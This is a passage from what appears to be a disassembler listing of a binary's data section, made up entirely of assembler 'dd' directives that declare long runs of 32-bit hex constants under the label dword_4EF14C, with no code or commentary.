		dd 0A1183AC4h, 4AC2020h, 0BE2D327Ch, 63157E4Eh,	104C81B7h
		dd 0DBBBB57Fh, 86525B2Ah, 693F7708h, 0D4383CF8h, 29EB4AB2h
		dd 85D5F83Ch, 288182A8h, 0B551E801h, 0D8E580BFh, 0BC04B13Bh
		dd 2EF1191Eh, 0CAC00506h, 8148B759h, 0D30B8857h, 0B07654E9h
		dd 0BD1A9076h, 0BC38D125h, 4784849Fh, 21902590h, 10A5EFBh
		dd 5C56916Fh, 0E45FCD27h, 0F64E99E9h, 97E11348h, 72CF08E5h
		dd 3326BA00h, 60520131h, 13577481h, 50CA2B98h, 0D22507F6h
		dd 9D332B9h, 37EA7651h,	9FE19E75h, 0E3A8DC1Ch, 7F938587h
		dd 0E81F0C34h, 29DD9A49h, 5A627CC1h, 354DF2A0h,	61E968AFh
		dd 2F46D4FDh, 7C2545Ch,	6EDC145h, 6D3FCDC0h, 24506E65h
		dd 0AE921022h, 8F08AC76h, 200F1DA3h, 92D2298h, 89685BB9h
		dd 2E99EDCCh, 28E1E554h, 6087276Ah, 95F77EFBh, 0FB2AD7F2h
		dd 0B12AC966h, 0A7A06F31h, 0BE80EB21h, 452C1EE0h, 269D8B66h
		dd 0D70009F8h, 3A7BBA52h, 71815461h, 0AB3B03F2h, 42D2F70Ah
		dd 0BA160660h, 0BF6D455Fh, 0E905EE42h, 0E847D236h, 277350E8h
		dd 0B167413Ch, 10B2A0EBh, 58372723h, 134CD48Ch,	3A0002BCh
		dd 0BF3C5C04h, 95071E8Dh, 2E93E930h, 72C57F09h,	688BEA1Dh
		dd 0BC865861h, 87CE2B4h, 7E6C101h, 7D7F9530h, 31392517h
		dd 4461EA8Eh, 0D8D0EEE4h, 7A0702EFh, 0F70151EDh, 802C7E5h
		dd 464B67E9h, 584D95BFh, 2F824912h, 8160E55Dh, 0EA6ED5B8h
		dd 5BF36A70h, 0F06BA92h, 810ECAC6h, 142E59EFh, 0E75B57FFh
		dd 0DC4A7FBEh, 0A95B14B8h, 7EF8E413h, 8DFC4C04h, 5FFAC60h
		dd 1646CA05h, 0A22D55F0h, 0DE096007h, 415C81E8h, 0C40FAF81h
		dd 0FB5801EEh, 622F2660h, 5B6FA940h, 4CFD9036h,	0F384D942h
		dd 60CD17C3h, 455BB9A0h, 0EDF23F81h, 2EA7ED4Fh,	0A6E0B49Dh
		dd 48657D5Bh, 0FB079F45h, 6764E342h, 0FFAF6FF5h, 0A9D95EB0h
		dd 0FBE0C62Eh, 4F4161B0h, 8C24AC3Fh, 4ABD8141h,	0AF9E3502h
		dd 0F32F782Dh, 392534A5h, 0B02CE2D9h, 721465D4h, 280ED812h
		dd 4CC968C3h, 9588D179h, 2B8A3E19h, 0C9EE578h, 3D15FE5Ch
		dd 48ED2116h, 0B775D4B2h, 7247B609h, 0E11908A4h, 5870C3C3h
		dd 2D508186h, 0E2A725A8h, 0A639DF43h, 0C5AD3F1Ch, 0FC1FFE93h
		dd 6687254Ch, 4A7A02C2h, 0ECE97511h, 0E650DAF2h, 21721B6h
		dd 58406013h, 0B0726CE9h, 953DE2Ah, 815B4874h, 8EA1ACB4h
		dd 0D4A1A32Dh, 4B117339h, 49152AADh, 6185A304h,	0E462BADEh
		dd 0EDDFEA94h, 0EA03BFD6h, 74F01EBAh, 4254DE06h, 9180FE2h
		dd 62F49CBh, 8831F52h, 0F2141C45h, 1AE92081h, 73CD4816h
		dd 64D67E1Eh, 17437BCDh, 6E130C80h, 0C889500Eh,	5902C1B7h
		dd 0E9B7287Bh, 3BDB6B55h, 0DC843FC2h, 93512DC4h, 3EBA5569h
		dd 0A5B51C4Ch, 5BF90D77h, 965DF85Bh, 4572EABh, 1346AE9h
		dd 0CB904BBDh, 0DB71D327h, 0E26DDC43h, 7281896Bh, 0EFC12840h
		dd 3E3CE69Bh, 1AD2F546h, 3B6D015Eh, 7C4EA472h, 2D0741D1h
		dd 2BCC106Eh, 2ED0E7Eh,	89490484h, 4AACF08h, 84171F52h
		dd 7D5A1FBh, 9207D408h,	0C34159BCh, 0B4036A55h,	73EA0958h
		dd 0F2FD023Ch, 0D0218FBCh
		dd 9F951657h, 102414D6h, 0F8405016h, 956B3B05h,	0FF08BD51h
		dd 532607h, 1DC33F75h, 0CB1E8143h, 4CC431B9h, 0D5ACEBC1h
		dd 682ABA04h, 5BB0C296h, 0F344B6F6h, 0F2304F8Dh, 6A5B81A9h
		dd 79FDEF70h, 0E97F1F5Ch, 0B2011226h, 89FA2D22h, 630DD184h
		dd 0D69A5EF2h, 5FF8B277h, 189E965h, 499677F0h, 0A056E910h
		dd 96775C25h, 0F1490D8h, 72441790h, 4BA3E280h, 63B70BF6h
		dd 0F7CAC84Fh, 4D2D027Bh, 524CE950h, 57FE4372h,	1BBF6609h
		dd 15C0DF38h, 0D7810E0Fh, 81FC5AF5h, 0DCD31CFh,	0FD2F840Bh
		dd 0F70E8C4Fh, 67F82D5Eh, 0E1C8085Fh, 161B02Dh,	216E0F2Bh
		dd 8963F712h, 701687D1h, 1A202F86h, 151CAE73h, 39CFD925h
		dd 21313F8Bh, 6702C778h, 0D147D858h, 4BC4EEAh, 39B7410h
		dd 0ACEB8531h, 8F2F5166h, 4B685E4Ch, 0E3FB304Ah, 9BC97A1Bh
		dd 7CBB07BFh, 0AFD25E03h, 2E39800h, 94B0E94Bh, 46702FAFh
		dd 44081F03h, 4F1BBA31h, 447EFC0Bh, 7C5968F2h, 17B84A29h
		dd 0F5CCEAE5h, 0B7C926E9h, 1D1832Dh, 0E6003AB1h, 31633F36h
		dd 140FBF57h, 0B61C3767h, 0A60ADB07h, 8D8D908h,	0B080EB20h
		dd 5F8DEEE4h, 5B92D1E0h, 3CEE6DE2h, 45BA927Dh, 17AC208h
		dd 39B326B4h, 0C6B03B30h, 959A4F88h, 5F2920B1h,	0F49DFE01h
		dd 2F55248h, 0AEB52F61h, 0F84DC4AEh, 3E10FAF3h,	39C44BA7h
		dd 0E9C394ADh, 0A9841B7Fh, 0E60BDFC5h, 0EA2326FCh, 0F704A10h
		dd 37A0531h, 99CECF85h,	0B35F689Fh, 0CFFAB5EFh,	3DEF4B94h
		dd 0CA76147Ah, 0A2285A08h, 0F8EB4E28h, 1114E5BEh, 4BF10E7Dh
		dd 3C066181h, 0C9D82303h, 0A04617C8h, 82FE0011h, 29DE658Ch
		dd 0CA01F14Bh, 7FCF52F2h, 0B495A02Fh, 6805BD96h, 0FA33D5Ah
		dd 0A2EA4517h, 0D9522F1Ah, 0CF5A1F1Dh, 0C8B31C67h, 7649FD4h
		dd 0DCAE2938h, 0E441FCC9h, 262ABC2Ah, 0B980623Bh, 1B7D05FEh
		dd 75F0F787h, 0C652DD2Ah, 8D1F7CDh, 59182BB1h, 64478F8Dh
		dd 0B8628A40h, 5E7EC5DEh, 5ABB5E40h, 9535205Fh,	1B895BE5h
		dd 7A4DF648h, 24A72076h, 55F81EF0h, 0C8689509h,	15C2AF54h
		dd 8437673h, 0D225BE46h, 0CED20AFh, 5015A0BDh, 8459BC4Ah
		dd 0C91D2F9h, 0FBB22B5Dh, 0FAA5E9C4h, 31BBB700h, 260232Ah
		dd 3985E381h, 0ADF01EBh, 1F01DE4Dh, 973216Ch, 4F85B82Eh
		dd 0F3A0C5E2h, 65026C3Bh, 5B5E5377h, 7597701h, 0C80E8562h
		dd 0B6B68AFh, 5F228649h, 4705F700h, 40B5C783h, 2DAE0E7Bh
		dd 475099E8h, 0C0098398h, 5F190F41h, 40893A8h, 0BDBC25E9h
		dd 50091633h, 8AF96034h, 68A98097h, 9DB16E26h, 0A0026BA8h
		dd 0C132CF3Ah, 0F6A880EEh, 3F8FDA35h, 0CB2AE94Eh, 26779E17h
		dd 0A707BB63h, 7C55D63Bh, 260D971Ch, 0A05B3157h, 0BA5D0700h
		dd 1D0212F5h, 0C7C701CEh, 2A6A0653h, 84086BCh, 7F8A15Bh
		dd 0B6057E60h, 943C024Eh, 11090F45h, 37340CBEh,	18D672F7h
		dd 38BD55DEh, 109E2239h, 67C885B9h, 0E9F64F73h,	4E1B810h
		dd 0C25E92BDh, 8990DB85h, 272617C1h, 3DE00D48h,	88806B6Ah
		dd 3E5873C7h, 0E6CA877Ch, 0E50F68DBh, 46057109h, 0AE1D3044h
		dd 0F544DB69h, 9FBE2A02h, 60542EC0h, 0F18C51Ah,	0EE01793Dh
		dd 0BD08A81Ch, 52D6ED68h, 5FFD51C1h, 0A36BEE31h, 0DDE9128Fh
		dd 0EC80EE47h, 52B205DFh, 49DE2FFCh, 0CBDCC4DAh, 223AC381h
		dd 53F0138Ah, 9AC895A8h, 491962F2h, 0CF184BC6h,	2FEEAC05h
		dd 6961F95Eh, 5DC3EADDh, 304CBD63h, 96417E50h, 0BBF5A400h
		dd 96EA62F9h, 98F7F010h, 9FFEAC21h, 6F30DDC7h, 0B617A4E9h
		dd 95F2656Ch, 83490057h, 1414936h, 0C827F57Dh, 9E5E4614h
		dd 0B618C2D8h, 0E3AA8309h, 0CD451C15h, 6B7D0A3Fh, 171C1890h
		dd 6E0B18EFh, 22893B0Ah, 31E7CD0h, 0E5BAF021h, 7F209C5Ch
		dd 0F5DC5F2h, 17BF1283h, 1B1788A3h, 0F329AFF5h,	1DE480F0h
		dd 93C4FEB5h, 0ACA48551h, 506655Bh, 52153980h, 0D7034E76h
		dd 0BF58D530h, 0F35E288Bh, 0A9982A77h, 842C5276h, 0FFCBCF4Dh
		dd 0CE989223h, 0F9A93150h, 5E310516h, 53481B0h,	26E929ABh
		dd 0F143F81Eh, 6E2C3BC3h, 0A14C31D5h, 14AE9B0h,	0D84508BDh
		dd 0A0533F02h, 8BADC036h, 3CF7325Dh, 5A011BFEh,	0F941DD88h
		dd 0A1490116h, 582F24h,	0B0A1F835h, 2D4FE9D5h, 38AD3FE1h
		dd 2334D390h, 0A4A9A83Ah, 68A9B5AAh, 4A791287h,	0D2DE4DFDh
		dd 0EBEFC423h, 0D6DBD091h, 9FE58100h, 9ED05B24h, 7B74F502h
		dd 2141FF68h, 0C5FC5026h, 2BED2B53h, 4E0B16E4h,	60641F5h
		dd 0EF49326Fh, 0AF3D94A4h, 680CBC42h, 0D1F3E17Bh, 1EF2F89h
		dd 0EB0198F9h, 47BA0A63h, 6EED9A40h, 4485EDBh, 9CC5589h
		dd 1F346546h, 6415D268h, 0CDEA1844h, 1913DFEAh,	0B84A1032h
		dd 0E90B08C2h, 663CE1FDh, 4B75996Ah, 52461E3Ah,	0BAC7629Ch
		dd 21110B18h, 6F682BE9h, 122AB61Ch, 6B8CFAF0h, 13539577h
		dd 5571C30Ch, 5E43EECAh, 2AD6F3F9h, 0C1FAF372h,	9E164ED2h
		dd 0E8325AE2h, 0ED742218h, 9A826635h, 0EC90D09Dh, 67D89D89h
		dd 0ED815E9Ch, 0C9C8ACC4h, 7375043Eh, 0C7CBABDDh, 117EA84Fh
		dd 1C3F5BBEh, 92B3ECCBh, 9F4A8EF2h, 0F1E908A0h,	2581298h
		dd 8189EADh, 5D8D1E0h, 9F0957F2h, 54C329A6h, 0ECABC49Ch
		dd 0B7E25F57h, 0F6CC2Dh, 50E0243Fh, 2069BD80h, 0C14D6648h
		dd 478059DAh, 730378DCh, 0C2EF0F90h, 7C4AA454h,	5B383A4Ah
		dd 0DEC28D80h, 0B60D1232h, 0E991FE31h, 903A099Ah, 1B59C539h
		dd 511D155Ch, 0C08061Ch, 0B4054704h, 65F45E34h,	0A3434FA5h
		dd 20A64F73h, 41C0CA10h, 698FD145h, 137FD463h, 0B00E28C6h
		dd 0CD84F3E9h, 9F02E1C3h, 43061ABFh, 6580B08Eh,	0E94A0C47h
		dd 5B4AC52Eh, 3A3D7499h, 513C63CBh, 8BBBC458h, 90BC2C73h
		dd 7D56BB80h, 953154D6h, 0CF3CD5D0h, 0C28DAEEEh, 57E90882h
		dd 529BDF37h, 78011AB9h, 0E66884B3h, 3ED6CDBFh,	25680F9Ch
		dd 2F927FBh, 0BA696A7h,	674259C2h, 7F4D7D11h, 52EE7AD0h
		dd 31D3D2Fh, 0B85F86A7h, 95E1C172h, 0AF524442h,	0B7C1294Bh
		dd 9A7FEF65h, 0B8E93820h, 0A9E34A05h, 0CFC8A4Bh, 0C9F2F4E9h
		dd 282B540Bh, 0F71FF266h, 56B21E40h, 0B12A7FE9h, 0D5EB17FEh
		dd 0BA818251h, 0BCEA00Bh, 2F3B997Ah, 0EA515C01h, 14800CA0h
		dd 0B3721C2Eh, 2A015B4Ah, 170D6491h, 0BC43D30h,	291A0B7Ch
		dd 2505E34Bh, 34E27088h, 65BCDAFh, 1D830F0Ah, 3294641h
		dd 6A1CB41h, 32C30863h,	54AA902Ah, 55194533h, 0A3E91C01h
		dd 8635BF25h, 9BDCF7Bh,	0B1F596E9h, 932446D3h, 16ACBF6h
		dd 0FA89467Eh, 0C3D35CC4h, 451037C1h, 3C4CD89Ch, 3EA2F7Bh
		dd 0DE6ECB7Ch, 437C8342h, 0DCA055D4h, 0D06A85C3h, 1D0A324Bh
		dd 4C2908EBh, 834723C0h, 0F938C74Bh, 3467A65Ah,	9E04C907h
		dd 1C6D011Eh, 821C0806h, 103ED914h, 4350046h, 19EABDCh
		dd 0ECD395C2h, 39F97643h, 0B8545BF1h, 1D393F02h, 0F9CBBA13h
		dd 7DBC10CDh, 558B0500h, 0C521BDFDh, 0FF417C90h, 79F6B060h
		dd 0FA7025DCh, 0A0A92BDDh, 170CBDB3h, 0C25D5E66h, 6F54560Fh
		dd 3029DD49h, 208D4CD7h, 8927D2D0h, 1A50FDh, 0A2BF575Fh
		dd 310B1D37h, 0E5E9FB13h, 0FB2A5C5h, 51E1E9B1h,	53C631FCh
		dd 0F6DB538Bh, 42B9EB05h, 0ED009C7Eh, 4B63F0C9h, 0BDFB924Eh
		dd 0AB1C4868h, 29F48D04h, 90FFE9CFh, 1DACBD29h,	14B0C677h
		dd 88B5D33Ch, 2DEA290Dh, 0CE3C897Eh, 91B949C0h,	667E0F1Bh
		dd 0F8D3F741h, 6790503Fh
dword_4EF14C	dd 16A33C1Eh, 73E02413h, 0C873B75Bh, 0D86E08h, 18685357h
		dd 7F4CA61Ah, 5EF83541h, 2FD5DDFFh, 0AA176EF9h,	8E819D5Eh
		dd 10DB233Ah, 0F98B6469h, 0CC0C555h, 59263077h,	65A3D695h
		dd 3580D09Bh, 0B2D49B1h, 3030DC2Fh, 793D0ED0h, 5A0440BDh
		dd 3FF602Dh, 0F2A8BD05h, 0F906435Fh, 4D7F387h, 2572C0BFh
		dd 56C0B02Fh, 7FA3BE04h, 0B0AF6C2Dh, 0A4041A29h, 0F531C1B2h
		dd 4FFD8ABFh, 0C0A747E3h, 455682F5h, 461C7D4Eh,	222D329Dh
		dd 56C338D2h, 1EFD6BF2h, 2A969FCEh, 0C2E255B1h,	80BF00A2h
		dd 7B00E103h, 5EE7814Fh, 2D26FF34h, 0E009B4E9h,	334C9E75h
		dd 4D4595E9h, 1C09C28Eh, 210B6D54h, 206B3BB3h, 0A2C6BB24h
		dd 0EBBB8F08h, 64CAF102h, 6DCDF10Ah, 12C8D48Eh,	92E02E7Fh
		dd 1FF90CCAh, 0F2115D62h, 0D92A5518h, 5B1C278h,	0E9D63BB5h
		dd 3A2A8C3h, 3A5DA3BAh,	7C4CD178h, 14B6F780h, 0A8BB0B97h
		dd 26BD5E12h, 0E95FE202h, 489B5022h, 5687CC89h,	0D35CC354h
		dd 6EB1181Dh, 0F7F010D2h, 3AB77953h, 0B3A5CEB6h, 81AD6B61h
		dd 59C8211Ah, 0DEE9C009h, 88A8053Bh, 2684BFFCh,	0F9592CEEh
		dd 5E69209Eh, 0C986C939h, 0E35A99D5h, 8D3FCEA1h, 3B1301EBh
		dd 79CA7B18h, 136A3500h, 0D8F7253Dh, 734AC9B6h,	0FA4B651Ch
		dd 0F803E22Ch, 765074ACh, 0C9C376D0h, 0DBDBAD54h, 71EF6693h
		dd 812BB92Ah, 221FC727h, 0EF701813h, 9B7B3FA4h,	1C68013Bh
		dd 10982408h, 14B21C4Bh, 8006542Ch, 5B0657EBh, 7579ADF6h
		dd 17B2521Fh, 9340C28Ah, 96ACF82Dh, 13A6EF41h, 2D601A67h
		dd 5F581646h, 0E2C74A01h, 0D4BAC6A0h, 3F300AFh,	50096530h
		dd 4A138FB8h, 0C5091FE2h, 2622D5DEh, 0C7FFFE3Ah, 98BF0756h
		dd 0E92DB01Fh, 55C05A0Eh, 0E57693C2h, 0A070B46Ch, 8882B408h
		dd 0F42531D9h, 0E3C107C7h, 0AA28B406h, 0D4B8E809h, 14CAE08Ch
		dd 1785BCBh, 54E2C289h,	17EE9ECAh, 296EF079h, 8043F24Dh
		dd 7F4C382Dh, 68E91302h, 0E82A5379h, 2CAAF4B1h,	9F73051Fh
		dd 877ADC3Ah, 10EB6BE5h, 0A643E7A1h, 2D17B03Ah,	0C94007A2h
		dd 50133426h, 9D83455Fh, 0C052F251h, 3F96E47h, 7305FC27h
		dd 29A00D02h, 0B90051E8h, 7BC84ECDh, 17A8E181h,	815AF3Ah
		dd 522F290Ah, 6009F21Ch, 0CFC5A9DCh, 4B306777h,	44CD0E5Ah
		dd 0ED0CC026h, 0DFB6CE39h, 0A7E0315Eh, 0FEC59FCBh, 71B17E89h
		dd 7BF18897h, 0E16A5569h, 0B5F20344h, 71B9099Fh, 0C84C958Fh
		dd 7FE3710h, 0FDC6805Ch, 8541EE33h, 680DCE06h, 0A650B5C9h
		dd 34C2570Ch, 18CAAC05h, 0C13C44Eh, 0A62061B2h,	702B0342h
		dd 0DD0138A2h, 5308E040h, 230ABB06h, 165034D7h,	289AC1E9h
		dd 0DEB5512Fh, 0D2C2FA19h, 6F953D58h, 0CBCACA4h, 0EB49D555h
		dd 9DBB7A0Bh, 6C2BFCF4h, 8266B18h, 0D91FFB6Eh, 51123F29h
		dd 96899FBh, 7602C5B3h,	0BA726006h, 7F7742B0h, 0C1984A7Eh
		dd 0E584BE32h, 0C62520C1h, 4048EB09h, 7FE8572Dh, 0CA2535EAh
		dd 98C2F83Bh, 606DB9D1h, 4B3F4A55h, 24EAE927h, 6DFA0C97h
		dd 0A4142BA7h, 96905248h, 95333F71h, 34E12381h,	6F70D67Ah
		dd 2D50C7F0h, 9BE04094h, 1CB6B7E9h, 97A2502Fh, 5CC41E71h
		dd 0C7103FBDh, 63F5854h, 39556B1Ah, 6EFE1778h, 5D0B82F8h
		dd 1A32D085h, 3073D4BCh, 68C1342Ch, 0F395F19h, 4A508BA5h
		dd 0FE3245EBh, 833CAA15h, 80F55BE9h, 686650FAh,	2169E52Fh
		dd 88E6B343h, 0E948DC3Bh, 0B7C96F24h, 7B53096Bh, 25B0A3A1h
		dd 59A4B820h, 1786A07h,	0C68CC96h, 967E5D14h, 20106EB3h
		dd 6BEC14Fh, 0A06A1656h, 7D7C75C6h, 95E96D4Eh, 0E8285079h
		dd 9F3B834h, 0C9B4E2A6h, 20C83300h, 0E92D11D7h,	46BE34Ah
		dd 0B91C4C2Eh, 0B798EB6Dh, 3D6FF156h, 0EEED3FEFh, 5255FB65h
		dd 0AF8AC16h, 0C530C5E9h, 0D1F7CA83h, 92DA731h,	0BDDA81FCh
		dd 3EFBDC68h, 6841ED09h, 4C467DB5h, 3A749604h, 89F25311h
		dd 53DB896h, 36CB6D70h,	73667F80h, 2D01040Dh, 0AC1277A1h
		dd 13450489h, 5201043Ch, 7875423Bh, 5C2D0250h, 0C2E41034h
		dd 0AA16C0B4h, 265F8154h, 0E810C6F9h, 0CE8013BAh, 19401D9h
		dd 7050D6F6h, 6CBC4223h, 64FA3A89h, 0EDE841BBh,	73096B49h
		dd 7E24504Ah, 0F4D35E20h, 0ABBFDEABh, 729302E0h, 0D48307FFh
		dd 0CFF3AA04h, 0BC39929Fh, 0EFE2D20Ch, 5AD021C2h, 9DDDE4FDh
		dd 0D8A024D3h, 0EC7A9B2Dh, 7967B788h, 0DB1203A4h, 2F68E98Ch
		dd 5ED61342h, 0C22DF452h, 0BA184377h, 4F4E044Bh, 0BFDAF76Fh
		dd 0F162C199h, 99DFC44Eh, 2BA635AEh, 4737018Eh,	97EEC051h
		dd 63252765h, 80D4F801h, 493DE908h, 442F62E1h, 4CBE2AD8h
		dd 750C98C2h, 6818F11Ch, 393D4503h, 9098B29Ch, 0B51C7018h
		dd 53E0AFDEh, 0C09207E9h, 9AA5BA0Ch, 5590B67Ah,	6C5C6909h
		dd 11005565h, 43A6125Fh, 0B5C06095h, 3E84905Dh,	0C7022F2Dh
		dd 0EE11E9DCh, 674E2C44h, 0BD4B99ECh, 718B92CAh, 49A05625h
		dd 7A901F7h, 0FE29E205h, 9CA43C8Bh, 43BA0352h, 0E937BE20h
		dd 145787B2h, 0B6585AEEh, 8A0C6CE2h, 3F7CBE74h,	0C8285801h
		dd 0F22AB353h, 465EF2C3h, 0F95A5ECBh, 0DE4AD314h, 3210A957h
		dd 892EB47Dh, 12561D17h, 4E9CDFEBh, 68040799h, 35A85F90h
		dd 0A800E8B6h, 8174E02Ch, 7275CAh, 68503BDEh, 6A1C3FB7h
		dd 43CEE915h, 257D5829h, 5F9C46C9h, 4F53E75Ch, 0A80884C1h
		dd 54CC6800h, 23D81897h, 0F267B588h, 24E74088h,	0DFD90564h
		dd 1F971320h, 407A928Ch, 2348BB53h, 0BFB96C87h,	0A94FD802h
		dd 9459E064h, 0A0F4332Bh, 2E81F80Ch, 55022057h,	0B1D1F05h
		dd 0AFB85CE9h, 16F7B869h, 0EF772476h, 3088E2E5h, 45EC6190h
		dd 0A43B5381h, 13BDE798h, 0F76EDF44h, 0E12E32F1h, 76A63ED0h
		dd 3C9C8C4h, 0C16DF180h, 997A9066h, 60472154h, 7C5A7308h
		dd 0C661558Bh, 7B5FE068h, 4F2FE2E6h, 8BFE148Bh,	0B5629054h
		dd 0E1094238h, 66456BB6h, 0ADEE82FFh, 0E97860F5h, 67E1E678h
		dd 8E430620h, 0F853B64Ch, 42880505h, 0CBFF22E6h, 834F1C7Fh
		dd 0B1AD525h, 11F9802h,	0E0EBB298h, 0B424189Dh,	1DD13C5Ah
		dd 9775CB2Dh, 225DADB1h, 70079D87h, 0B049227Fh,	0B5E5C102h
		dd 77213D80h, 0E984E3D1h, 32AEF8D8h, 808153D0h,	48CF8848h
		dd 0F71F8015h, 0FE1F521Eh, 25E9F584h, 0EF4BEAA8h, 1011E132h
		dd 0A5CA848Dh, 0CC653AEFh, 0EB1116AEh, 680A362Eh, 8AAA70B9h
		dd 63D74B51h, 98F956B0h, 0F60A5278h, 43A2B48Bh,	0BB009EF3h
		dd 4B014C0Ah, 0C311C47Eh, 3707AFB1h, 0EF835AD7h, 0A31F0FF9h
		dd 0B1217605h, 0C1C03ECFh, 80FCF936h, 6B3271Ah,	3F17AAF8h
		dd 49940DB2h, 5E5F0801h, 0BC3EC383h, 6C0BA52Dh,	0F724D5E0h
		dd 525D05C8h, 0D274A2AAh, 5B88CFABh, 1910F0CBh,	1224582Dh
		dd 1CCDFCC4h, 7F889E41h, 3FDDF16Eh, 0FF561A87h,	0CDC89F03h
		dd 7D6125C5h, 0D961F5E1h, 0A02E9A61h, 0D640C621h, 5BD82E31h
		dd 0BE68C120h, 7DCD515Eh, 0B8E7B90h, 219B325Fh,	8A3948F7h
		dd 0E0F9A43Ch, 172C2507h, 94244BD8h, 0E293910Ah, 9439CAEEh
		dd 28A61211h, 97F4EB8Ch, 3DB9CB61h, 6608C248h, 0F99582BBh
		dd 2718C795h, 0E6553E42h, 6668132Ch, 0D2F8E853h, 0F2D67D1Fh
		dd 82C1B247h, 0EBDE03B3h, 0ECDE37C8h, 0FA4B04CEh, 0FE3D8091h
		dd 0D500D257h, 0F645ED80h, 0FC705B69h, 0C9E4E7D6h, 503CAACh
		dd 1B072DDBh, 1588189Bh, 70B7595Fh, 0C93B2004h,	5BF85B9Ah
		dd 0BD55F0FBh, 0BC65050Ch
		dd 955DACB9h, 5A0E2E89h, 0EEE0C2E5h, 505890CEh,	0A45A4805h
		dd 1F19BE38h, 67304007h, 840F80EEh, 0A38B202Fh,	33FF296Bh
		dd 9BB4E783h, 93C15D03h, 0D922D5C6h, 0EA74E410h, 5F5A4BD3h
		dd 910409D0h, 1EE8E6ABh, 0CAAC1FC2h, 80290144h,	0CB0BE281h
		dd 601B7F32h, 4A5073A0h, 4221607Ch, 27203D0Eh, 0A2094E31h
		dd 50E9C51Bh, 484CEDF8h, 41732D3Ch, 61F13EA9h, 0EAF5DAC1h
		dd 75DFC2D6h, 4A38D895h, 6CAD52E5h, 7D5A245Eh, 7065C4E1h
		dd 0C000D095h, 0CBFE02E3h, 0BF3C2068h, 86DC4498h, 6A40CC58h
		dd 29813CA6h, 164568F0h, 0BA19D066h, 0DCDE119Fh, 0C1915D1Ah
		dd 22AD97BFh, 0FC5E6AA2h, 3BD7B123h, 5D05F80h, 62DF7AF7h
		dd 2AEEC2D2h, 2D5C0E7Dh, 74A00551h, 0C45E518Bh,	5E12FE1Ah
		dd 813F25FBh, 0E5F1F6h,	0FE04A4B0h, 22229751h, 1455D68Fh
		dd 8118B6B2h, 0EB8016B5h, 0EB9DC36Eh, 0D6BCCE13h, 0E941B104h
		dd 4874B88Bh, 0F5E784FDh, 521B21FFh, 0E280E4B2h, 0D4F12A50h
		dd 406C076h, 4B876866h,	0CFD04D7Eh, 0EEC53613h,	5E2E7F33h
		dd 0D1E2C111h, 64D9E9E5h, 0C03FFE44h, 8C04802Ch, 0F643B753h
		dd 58E7F4D7h, 0DC259907h, 898E89FFh, 4D04D7CAh,	12541096h
		dd 92E7D4BFh, 3379AA4Fh, 9A84E039h, 8042EC0Ah, 616532B8h
		dd 0D8F7125Fh, 0C8E15040h, 0A4573602h, 61FF0905h, 0C2B53CEh
		dd 35E96474h, 0C348934Ah, 0E29080Ch, 5F5E5009h,	0E98468CDh
		dd 20AEA403h, 5D9D68B9h, 170FA1C4h, 0EBCB9516h,	80EF4D12h
		dd 8F6FEDA4h, 0D6F60A76h, 12F9361Fh, 9C7843Dh, 98F84293h
		dd 4B228868h, 0AB18D3A2h, 0F17381DEh, 0E36FEBB2h, 38AED73Ch
		dd 0F1415DF3h, 0BF3A664h, 0A7AFBC52h, 9CE97D21h, 84633880h
		dd 4AACA88h, 12256B8Ch,	0AD108E1Fh, 0FC2D503Eh,	68595540h
		dd 0DB5FD92Fh, 0DF4C4981h, 0A0EA830h, 3932CABEh, 0BF076EBBh
		dd 0F3A160C7h, 1E0B07AEh, 0D5874Ah, 5B4939D8h, 0B8F3A36Eh
		dd 2D174440h, 2258D2F7h, 2E2AB604h, 90201BCh, 5FC15DE8h
		dd 5E4697D9h, 0D7D0FAACh, 0C671212Fh, 80DBA042h, 780BBF8Dh
		dd 0E00E6630h, 57138B83h, 48A15F53h, 0F6E28321h, 1FC31822h
		dd 6C19D5BFh, 3CE86007h, 2C0CE5E4h, 25F7F929h, 80DFFE09h
		dd 6D35F6FCh, 4E7D308Ch, 0A13C110Eh, 7F0C1460h,	951FF568h
		dd 0B1BD4878h, 0F57F0229h, 9D9206Bh, 0D533C22Eh, 0F4176104h
		dd 0DEDB8682h, 421A4CAFh, 848CBF01h, 6E9DD29h, 5387A0E2h
		dd 0F43C4FBBh, 8B32DF52h, 0F8465611h, 5D6FDFBCh, 0CBC12AE7h
		dd 4C16A102h, 0C6AED779h, 0A4143561h, 480E6F4Eh, 31060510h
		dd 2FE9C503h, 0C2B738FDh, 758D768Bh, 5C0352D8h,	10CBD05h
		dd 81E40CAh, 94BE0956h,	45F6BB2Ah, 0CE01D82Ch, 5B12457Bh
		dd 0CAC00947h, 0BAF36801h, 5C8FA266h, 57D3705Eh, 15D4BB80h
		dd 95644E3Fh, 7067FC7Ch, 88A999BFh, 42171130h, 0FB6A41EAh
		dd 689C2983h, 0DF011362h, 552F768Ah, 0EF4FAFE6h, 0ABEDB962h
		dd 0EE1C5DFFh, 687C449Ah, 2D80553Eh, 2F3C5058h,	0AF9244C6h
		dd 5FBCC7Fh, 902237F1h,	864FC1F2h, 0D86800EBh, 0A62DB918h
		dd 6CDBA53Ah, 8BFF5E64h, 3AAF1389h, 0BBD3A3E3h,	16D945Fh
		dd 476B68E5h, 0E129B451h, 1AEFA72Fh, 0DD0ADEDDh, 539227C7h
		dd 1D289D00h, 69BB7E22h, 0F8520B2Ch, 60C78720h,	311A281h
		dd 58007399h, 0D685552h, 0B80FD137h, 0E4E937FEh, 58E3026Dh
		dd 60053FE1h, 0F650A7A2h, 2E603CF6h, 0B850DDFFh, 0D51E3D8Bh
		dd 16826EFDh, 13DBF17h,	0AD8DAC6Eh, 7D6EF82Eh, 5BDD20A0h
		dd 3F6C80F3h, 0D52FB7Fh, 837805F5h, 9439E918h, 0DFCD076Ah
		dd 83033410h, 4B819C5Dh, 9EFE997Ch, 0A07EEEB3h,	778A31FEh
		dd 1A3E7882h, 168A84F9h, 3443089Ch, 0AF414ADFh,	0DDE43045h
		dd 17DE29B4h, 0AC77D523h, 81B4276Ah, 575647E6h,	0E82B0A21h
		dd 0D38B996h, 61D6F7A1h, 7A84357Fh, 128065A0h, 11B6F3h
		dd 0FF6A1697h, 5130E92Eh, 3BBA3269h, 6C5E0737h,	345AD129h
		dd 0A90E87C1h, 51330C00h, 79EEFEB9h, 0E1091F98h, 73E489Ah
		dd 0E980D9D4h, 1966C8ACh, 56CF318Bh, 0EBAF8137h, 0BCD49FA6h
		dd 4BD7B93Eh, 0E9826CE2h, 0A109C862h, 0FE211228h, 0D02A89C5h
		dd 380E9DBh, 0D7F7D8A0h, 5640971Eh, 79D025BEh, 7C854F97h
		dd 99B320D4h, 2C60701Bh, 0A16F380Ch, 5FE97A6Ah,	1D0630AEh
